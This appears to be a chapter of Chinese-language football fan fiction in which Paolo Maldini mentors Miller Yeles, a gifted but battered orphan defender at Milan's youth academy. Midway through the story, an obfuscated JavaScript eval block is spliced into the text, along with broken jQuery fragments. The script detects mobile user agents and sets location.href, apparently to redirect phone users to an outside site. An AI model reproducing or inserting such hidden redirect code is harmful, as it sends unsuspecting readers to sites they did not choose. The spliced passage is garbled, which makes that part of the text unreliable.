米兰内洛青训营的草坪在暮色中泛着银光，米勒尔·耶莱斯把第四个足球摆上点球点时，右肩传来布料撕裂的声响——这件从福利院带来的旧衣服已经裹不住他抽条的身形，十一岁少年的睫毛在夕照里镀着金边，瞳孔却比亚平宁半岛最深的湖泊还要幽暗


    保罗·马尔蒂尼站在二层办公室的落地窗前，看着那个单薄身影第无数次重复着诡异的训练：将球门立柱当作假想敌，用脚尖在草皮划出复杂的折线，突然启动时带起的草屑在逆光中如同金色尘暴


    这个月第三次造访青训基地的米兰3号，终于忍不住用指节叩响玻璃


    “那是空间感知训练”青训主管顺着他的视线望去，“那孩子能闭着眼睛说出场上二个人在场上的战术站位，上周友谊赛，他在观众席用口香糖包装纸画出了对方前锋的跑位路线图，精准的可怕”


    看着少年再一次无球跑动，他轻声问“那孩子是踢什么位置的”


    青训主管沉默很久，才苦涩的吐出一句话


    “那孩子是我们这里最有天赋的，可惜了，是后卫”


    米兰3号愣住了，他知道为什么可惜，因为这孩子灵气的球风开阔的视野都可以证明这是一个绝对的中场好苗子，但他恰恰不巧是最吃身体的后卫


    “他叫什么？”


    “米勒尔·耶莱斯”


    暮色渐浓时，马尔蒂尼在更衣室后的窄巷截住了抱着脏球衣的少年


    潮湿的砖墙滴着米兰四月的夜露，他看见对方卫衣领口露出的淤青——那是今早对抗训练时被撞飞的痕迹


    “为什么不喊疼？”他的影子完全笼罩住少年，“明明可以提前预判到碰撞”


    “预判到痛苦就可以完全避免受伤吗？”耶莱斯的声音像被砂纸磨过的提琴弦


    他蹲下身整理散落的球袜，后颈脊椎凸起如一串倔强的珍珠，这孩子瘦的的不像话


    马尔蒂尼想，难怪他有这极佳的感知能力却遍体鳞伤


    当夜十一点，马尔蒂尼的车灯刺破训练场铁门的黑暗，月光下那个单薄身影正在进行某种仪式般的训练：将二十个训练桩摆成迷宫，用外脚背带球穿梭，球鞋与草皮摩擦的声响宛如夜曲


    最令米兰3号震撼的不是百分之八十的通过率，而是少年每次触球前都会下意识护住左肋和左腿减少受力——那里分明没有任何旧伤


    他站在阴影里看着少年轻薄的身体执着的带球，动作灵气飘逸


    “你预判的不是足球，是命运给予的每一次撞击”马尔蒂尼的声音惊飞了栖息的夜莺


    他走进场地，黑色训练服与夜色融为一体，“但真正的防守艺术，是把预判变成对全队的庇护”说着突然起脚，皮球如炮弹般轰向少年面门


    耶莱斯在千钧一发之际偏头躲过，足球擦着耳际撞上球网，这个动作让他想起七岁那年躲过的酒瓶，福利院走廊飞来的碎玻璃总比圣诞礼物来得准时


    “您怎么...”少年抬起头第一次完整露出那张继承着托斯卡纳血统的面孔——本该盛满阳光的轮廓，却被过早来临的寒冬冻成了雕塑，略带迷茫惊讶的神色却给他蒙上一层稚气


    “从明天开始，每天加练两小时”马尔蒂尼抛来自己的备用护腿板，银色米兰队徽在月光下流转，“真正的后卫要学会把疼痛转化为盾牌”


    他转身时瞥见少年将护腿板紧紧贴在胸口，仿佛那是失而复得的肋骨


    三个月后的暴雨天，青训营更衣室弥漫着止血喷雾的苦涩，耶莱斯蜷缩在储物柜角落，湿漉漉的卷发贴在额前，像只被遗弃的威尼斯落水犬


    马尔蒂尼单膝跪地查看他小腿上因为对抗赛拦截对方前锋单刀而划开的十公分长的伤口，医用棉签突然被攥住——少年食指精准按在他腕间的旧伤疤上<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324990|167563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “200天前的欧冠半决赛”耶莱斯的呼吸带着高烧般的颤抖，“您用这个伤口换了罗纳尔多的单刀”他的瞳孔因疼痛扩散成漆黑的湖，却倒映着惊人的星光，“当时风速影响传球路线，草坪湿度让滑铲距离缩短了15厘米...”


    马尔蒂尼的手悬在半空。他想起父亲讲述的古老传说，亚平宁山脉深处有种能看穿岩石的雪貂


    “搬来和我住”这句话脱口而出时，雨点正敲打着更衣室的铁皮屋顶，带着马尔蒂尼自己都不知道的心慌“明天开始学习用身体阅读比赛，而不只是用眼睛”


    耶莱斯幽深的眼睛第一次有了波动了，像幽谧的湖面砸入了石块泛起漪涟，马尔蒂尼听见少年微不可查的回应


    “好”


    在科莫湖畔的别墅里，耶莱斯第一次触摸到真正的防守艺术，马尔蒂尼在客厅地板上用红酒渍画出战术图，教他如何用站位引导对手踏入陷阱；早餐时用面包屑演示三角联防，餐刀在培根油脂上划出精妙的折线


    某个起雾的清晨，少年在花园里成功预判了马尔蒂尼长达三秒后的变向突破，代价是撞碎了三株马尔蒂尼母亲最爱的玫瑰


    2002年圣诞前夜的圣西罗球场，17岁的耶莱斯迎来了人生首次国家队征召，u18正式征召他参加国青


    当维耶里像装甲车般碾过后防线时，少年突然想起暴雨夜科莫湖的涟漪——马尔蒂尼教他用水的柔劲化解冲击


    电光石火间，他侧身让出半步空当，在对方重心偏移的刹那用膝弯完成了一次精妙绝伦的截断


    终场哨响时，看台飘落的红黑色纸雨中，马尔蒂尼将沾满草屑的3号球衣抛向少年


    “你该有自己的号码了”他的笑容带着科莫湖晨雾的温柔


    耶莱斯低头看见手背上凝结的血珠，忽然意识到那些预判的疼痛早已化作守护他人的铠甲